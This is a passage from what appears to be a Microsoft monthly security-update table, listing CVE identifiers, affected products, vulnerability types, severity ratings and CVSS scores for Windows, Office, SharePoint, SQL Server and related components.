Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  